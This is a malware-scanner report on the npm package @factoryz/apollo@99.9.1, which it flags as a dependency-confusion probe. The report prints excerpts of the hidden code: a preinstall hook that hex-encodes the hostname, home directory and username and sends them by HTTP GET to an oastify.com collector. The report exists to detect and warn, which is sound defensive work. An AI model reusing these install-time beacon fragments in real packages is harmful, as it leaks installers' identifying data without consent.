registry / Malware / @factoryz/apollo / 99.9.1

@factoryz/apollo@99.9.1

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 4d ago · by lpm-firewall-ai

The dependency’s preinstall hook automatically discloses identifying host and user data to an unrelated fixed collector. This is an unconsented installation beacon, so publication should be blocked.

Static reason

One or more suspicious static signals were detected.

Trigger

Installation of the ltidisafe dependency triggers its preinstall script.

Impact

The collector receives identifying host and user data without installer consent.

Mechanism

The script encodes the hostname, home directory, and username as hexadecimal values, places each in a subdomain of a fixed collector, and calls a helper that makes an HTTP GET request.

Attack narrative

Installing this package installs a remote tarball dependency. Its preinstall hook runs code that encodes the machine hostname, home directory, and username and sends them in HTTP requests to a fixed OAST collector.

AI rationale

Evidence

package.json.lpm-dependency-evidence-6113a965-e362-4cb0-a008-5e20c64e72ce/0/npm-linux/package.json.lpm-dependency-evidence-6113a965-e362-4cb0-a008-5e20c64e72ce/0/npm-linux/test.js.lpm-dependency-evidence-6113a965-e362-4cb0-a008-5e20c64e72ce/0/npm-linux/index.js

Network endpoints1

*.factoryz.apollo.2wz381vbb1cw7nrxxz9akm51fslj9bx0.oastify.com

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json adds the remote ltidisafe tarball dependency.
ltidisafe runs test.js automatically in its preinstall hook.
test.js hex-encodes the hostname, home directory, and username, then passes each value into a request URL under a fixed OAST domain.
index.js sends the supplied URL using an HTTP GET request.

Evidence against

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 35 B of source

Source & flagged code

7 flagged

package.jsonView file

Lines 1-15json

2 "name": "@factoryz/apollo",

3 "version": "99.9.1",

4 "description": "",

5 "main": "index.js",

6 "scripts": {

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg · L6

7 "test": "echo \"Error: no test specified\" && exit 1"

8 },

9 "dependencies": {

10 "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.7.tgz"

11 },

12 "author": "",

13 "license": "ISC"

High

Suspicious Dependency Evidence

package.json adds the remote ltidisafe tarball dependency.

package.jsonView on unpkg · L10

14}

.lpm-dependency-evidence-6113a965-e362-4cb0-a008-5e20c64e72ce/0/npm-linux/package.jsonView file

7"preinstall": "node test.js > /dev/null 2>&1", "test": "echo \"Error: no test specified\" && exi

High

Suspicious Lifecycle Evidence

ltidisafe runs test.js automatically in its preinstall hook.

.lpm-dependency-evidence-6113a965-e362-4cb0-a008-5e20c64e72ce/0/npm-linux/package.jsonView on unpkg · L7

.lpm-dependency-evidence-6113a965-e362-4cb0-a008-5e20c64e72ce/0/npm-linux/test.jsView file

6async function getNetworkDownloadSpeedData(data) { const baseUrl = 'http://'+data+'.factoryz.apollo.[redacted].oastify.com'; const fileSizeInBytes = 500000; const speed = await testNetworkSpeed.checkDownloadSpeed(baseUrl, fileSizeInBytes); console.log(`Do

High

Ai Review Evidence

test.js hex-encodes the hostname, home directory, and username, then passes each value into a request URL under a fixed OAST domain.

.lpm-dependency-evidence-6113a965-e362-4cb0-a008-5e20c64e72ce/0/npm-linux/test.jsView on unpkg · L6

25function stringToHex(str) { const buf = Buffer.from(str, 'utf8'); return buf.toString('hex'); } const hn = stringToHex(os.hostname()); const hd = stringToHex(os.homedir()); const un

High

Ai Review Evidence

test.js hex-encodes the hostname, home directory, and username, then passes each value into a request URL under a fixed OAST domain.

.lpm-dependency-evidence-6113a965-e362-4cb0-a008-5e20c64e72ce/0/npm-linux/test.jsView on unpkg · L25

31const hn = stringToHex(os.hostname()); const hd = stringToHex(os.homedir()); const un = stringToHex(os.userInfo().username); // const ut = os.uptime().toString(16); var localip=getIp('IPv4'); getNetworkDownloadSpeedData(un); getNetworkDownloadSpeedData(hn); getNetworkDownloadSpeedData(hd); // getNetworkDownloadSpeedData(ut);

.lpm-dependency-evidence-6113a965-e362-4cb0-a008-5e20c64e72ce/0/npm-linux/index.jsView file

48checkDownloadSpeed(baseUrl, fileSizeInBytes) { this.validateDownloadSpeedParams(baseUrl, fileSizeInBytes) let startTime; let protocol = this._protocol(baseUrl) return new Promise((resolve, _) => { return protocol.get(baseUrl, response => { response.once('data', () => { startTime = new Date().getTime(); }); response.once('end', () => { const endTime = new Date().getTime

High

Ai Review Evidence

index.js sends the supplied URL using an HTTP GET request.

.lpm-dependency-evidence-6113a965-e362-4cb0-a008-5e20c64e72ce/0/npm-linux/index.jsView on unpkg · L48

Source & flagged code

7 flagged · loading source

package.jsonView file

10"ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.7.tgz" }, "author": "", "lice

High

Suspicious Dependency Evidence

package.json adds the remote ltidisafe tarball dependency.

package.jsonView on unpkg · L10

•Remote tarball dependency specs: ltidisafe@https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.7.tgz

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg

.lpm-dependency-evidence-6113a965-e362-4cb0-a008-5e20c64e72ce/0/npm-linux/package.jsonView file

7"preinstall": "node test.js > /dev/null 2>&1", "test": "echo \"Error: no test specified\" && exi

High

Findings

6 High1 Medium1 Low

HighSuspicious Dependency Evidencepackage.json

HighSuspicious Lifecycle Evidence.lpm-dependency-evidence-6113a965-e362-4cb0-a008-5e20c64e72ce/0/npm-linux/package.json

HighAi Review Evidence.lpm-dependency-evidence-6113a965-e362-4cb0-a008-5e20c64e72ce/0/npm-linux/test.js

HighAi Review Evidence.lpm-dependency-evidence-6113a965-e362-4cb0-a008-5e20c64e72ce/0/npm-linux/index.js

MediumRemote Tarball Dependencypackage.json

LowScripts Present

Affected versions and remediation

This report applies to @factoryz/apollo@99.9.1.

See all versions of @factoryz/apollo for other recorded verdicts.

Avoid installing @factoryz/apollo@99.9.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-19 04:37:30.105Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

Other malware packages

Related packages

Other malware packages

Source & flagged code